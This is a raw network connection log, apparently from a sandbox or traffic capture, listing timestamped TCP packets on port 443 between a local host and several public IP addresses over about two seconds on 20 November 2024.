Nov 20, 2024 01:18:49.672175884 CET	49891	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.672250032 CET	49891	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.672257900 CET	443	49891	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.672308922 CET	49891	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.672314882 CET	443	49891	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.675538063 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.675564051 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.675822973 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.675995111 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.676011086 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.839277029 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.839485884 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.839504957 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.839879036 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.840135098 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.840147972 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.841173887 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.841253996 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.841629982 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.841685057 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.842278957 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.842375040 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.842694998 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.842778921 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.842825890 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.842834949 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.843003035 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.843012094 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.894891977 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.894892931 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.949915886 CET	49902	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:18:49.949954987 CET	443	49902	172.217.16.196	192.168.2.5
Nov 20, 2024 01:18:49.950051069 CET	49902	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:18:49.950254917 CET	49902	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:18:49.950269938 CET	443	49902	172.217.16.196	192.168.2.5
Nov 20, 2024 01:18:49.950970888 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.951003075 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.951014042 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.951042891 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.951051950 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.951056957 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.951066971 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.951078892 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.951093912 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.951105118 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.951131105 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.954885960 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.954948902 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.954968929 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.955008030 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.955014944 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.955029964 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.955050945 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.955059052 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.955080986 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.955081940 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:49.955101967 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:49.955133915 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.021955013 CET	443	49897	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.022403002 CET	49897	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.022430897 CET	443	49897	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.022903919 CET	49897	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.022910118 CET	443	49897	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.040723085 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.040750027 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.040807962 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.040838003 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.040838003 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.040854931 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.040869951 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.042464972 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.042490959 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.042546034 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.042552948 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.042567968 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.042568922 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.042615891 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.042649031 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.042723894 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.043241024 CET	49896	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.043253899 CET	443	49896	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.044671059 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.044720888 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.044769049 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.044785976 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.044811010 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.044831991 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.046350002 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.046392918 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.046421051 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.046431065 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.046457052 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.046489000 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.123109102 CET	443	49897	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.123693943 CET	443	49897	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.123754025 CET	49897	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.131238937 CET	49897	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.131262064 CET	443	49897	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.131288052 CET	49897	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.131297112 CET	443	49897	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.134316921 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.134370089 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.134424925 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.134442091 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.134463072 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.134488106 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.135509968 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.135551929 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.135571003 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.135591030 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.135603905 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.135840893 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.136466026 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.136507988 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.136528015 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.136538029 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.136575937 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.136584997 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.138147116 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.138187885 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.138225079 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.138233900 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.138281107 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.139494896 CET	49904	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.139518976 CET	443	49904	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.139640093 CET	49904	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.141117096 CET	49904	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.141134977 CET	443	49904	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.181118965 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.195910931 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.195931911 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.196213007 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.196218967 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.216691971 CET	443	49898	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.218822956 CET	49898	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.218843937 CET	443	49898	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.219557047 CET	49898	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.219563961 CET	443	49898	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.220335007 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.220688105 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.220710039 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.221097946 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.221107960 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.224602938 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.224628925 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.224700928 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.224720001 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.224733114 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.224785089 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.225140095 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.225161076 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.225197077 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.225207090 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.225243092 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.225271940 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.226077080 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.226108074 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.226154089 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.226160049 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.226206064 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.226206064 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.227020025 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.227082968 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.227092981 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.227117062 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.227130890 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.227184057 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.227967978 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.228009939 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.228034973 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.228040934 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.228048086 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.228090048 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.228116035 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.228163958 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.228176117 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.228183985 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.228202105 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.228331089 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.228380919 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.234713078 CET	49895	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.234725952 CET	443	49895	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.267838001 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:50.267899036 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:50.268342972 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:50.268793106 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:50.268824100 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:50.274519920 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:50.274553061 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:50.274630070 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:50.274822950 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:50.274841070 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:50.294944048 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.295371056 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.295604944 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.296077967 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.296092987 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.296112061 CET	49900	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.296118975 CET	443	49900	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.300817013 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.300851107 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.301009893 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.301105976 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.301115036 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.316519022 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.320533991 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.320549965 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.321502924 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.321507931 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.325146914 CET	443	49898	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.325241089 CET	443	49898	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.325309992 CET	49898	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.325330019 CET	443	49898	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.325351954 CET	443	49898	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.325654984 CET	49898	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.326488018 CET	49898	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.326514959 CET	443	49898	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.326538086 CET	49898	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.326545954 CET	443	49898	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.328557014 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.329029083 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.329093933 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.330717087 CET	49899	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.330730915 CET	443	49899	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.418550968 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.418881893 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.419245005 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.438035965 CET	49911	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.438081980 CET	443	49911	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.438164949 CET	49911	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.438759089 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.438770056 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.438792944 CET	49901	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.438798904 CET	443	49901	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.441308975 CET	49912	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.441348076 CET	443	49912	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.441406012 CET	49912	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.441674948 CET	49911	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.441690922 CET	443	49911	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.442109108 CET	49912	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.442126989 CET	443	49912	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.446737051 CET	49913	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.446816921 CET	443	49913	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.447052956 CET	49913	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.447216988 CET	49913	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.447249889 CET	443	49913	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.508363008 CET	49914	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:50.508462906 CET	443	49914	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:50.508563042 CET	49914	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:50.514106035 CET	49914	443	192.168.2.5	184.28.90.27
Nov 20, 2024 01:18:50.514144897 CET	443	49914	184.28.90.27	192.168.2.5
Nov 20, 2024 01:18:50.591747999 CET	443	49902	172.217.16.196	192.168.2.5
Nov 20, 2024 01:18:50.592364073 CET	49902	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:18:50.592381001 CET	443	49902	172.217.16.196	192.168.2.5
Nov 20, 2024 01:18:50.593384981 CET	443	49902	172.217.16.196	192.168.2.5
Nov 20, 2024 01:18:50.593442917 CET	49902	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:18:50.594978094 CET	49902	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:18:50.595065117 CET	443	49902	172.217.16.196	192.168.2.5
Nov 20, 2024 01:18:50.620106936 CET	49712	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:50.620516062 CET	49712	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:50.621454954 CET	49915	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:50.621511936 CET	443	49915	23.1.237.91	192.168.2.5
Nov 20, 2024 01:18:50.621594906 CET	49915	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:50.622030973 CET	49915	443	192.168.2.5	23.1.237.91
Nov 20, 2024 01:18:50.622081041 CET	443	49915	23.1.237.91	192.168.2.5
Nov 20, 2024 01:18:50.624973059 CET	443	49712	23.1.237.91	192.168.2.5
Nov 20, 2024 01:18:50.625298023 CET	443	49712	23.1.237.91	192.168.2.5
Nov 20, 2024 01:18:50.645497084 CET	49902	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:18:50.645519972 CET	443	49902	172.217.16.196	192.168.2.5
Nov 20, 2024 01:18:50.691080093 CET	49902	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:18:50.790604115 CET	443	49904	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.791034937 CET	49904	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.791064978 CET	443	49904	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.791470051 CET	49904	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.791476011 CET	443	49904	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.892683029 CET	443	49904	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.892738104 CET	443	49904	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.892811060 CET	49904	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.892827034 CET	443	49904	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.892894030 CET	443	49904	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.892941952 CET	49904	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.907974005 CET	49904	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.907991886 CET	443	49904	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.908051968 CET	49904	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.908060074 CET	443	49904	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.929667950 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:50.931952953 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:50.963618040 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.963897943 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:50.963906050 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:50.964020014 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:50.964076042 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:50.966113091 CET	49916	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.966147900 CET	443	49916	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.966214895 CET	49916	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.966589928 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.966610909 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:50.967705965 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:50.967765093 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:50.967782021 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:50.967839956 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:50.969372034 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:50.969377995 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.072702885 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.072959900 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.073014975 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.073046923 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.073087931 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.092931986 CET	443	49913	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.093676090 CET	443	49911	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.100728989 CET	443	49912	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.141050100 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.141294956 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.141668081 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.141901016 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.143235922 CET	49905	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.143255949 CET	443	49905	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.143285990 CET	49906	443	192.168.2.5	13.107.246.44
Nov 20, 2024 01:18:51.143301964 CET	443	49906	13.107.246.44	192.168.2.5
Nov 20, 2024 01:18:51.147192955 CET	49912	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.147231102 CET	443	49912	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.147641897 CET	49912	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.147650003 CET	443	49912	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.147774935 CET	49916	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.147789001 CET	443	49916	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.149321079 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.149334908 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.149344921 CET	49909	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.149349928 CET	443	49909	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.150872946 CET	49913	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.150912046 CET	443	49913	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.151568890 CET	49913	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.151582003 CET	443	49913	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.151834011 CET	49911	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.151850939 CET	443	49911	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.152198076 CET	49911	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.152204037 CET	443	49911	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.158860922 CET	49917	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:18:51.158898115 CET	443	49917	13.107.246.45	192.168.2.5
Nov 20, 2024 01:18:51.159368038 CET	49917	443	192.168.2.5	13.107.246.45
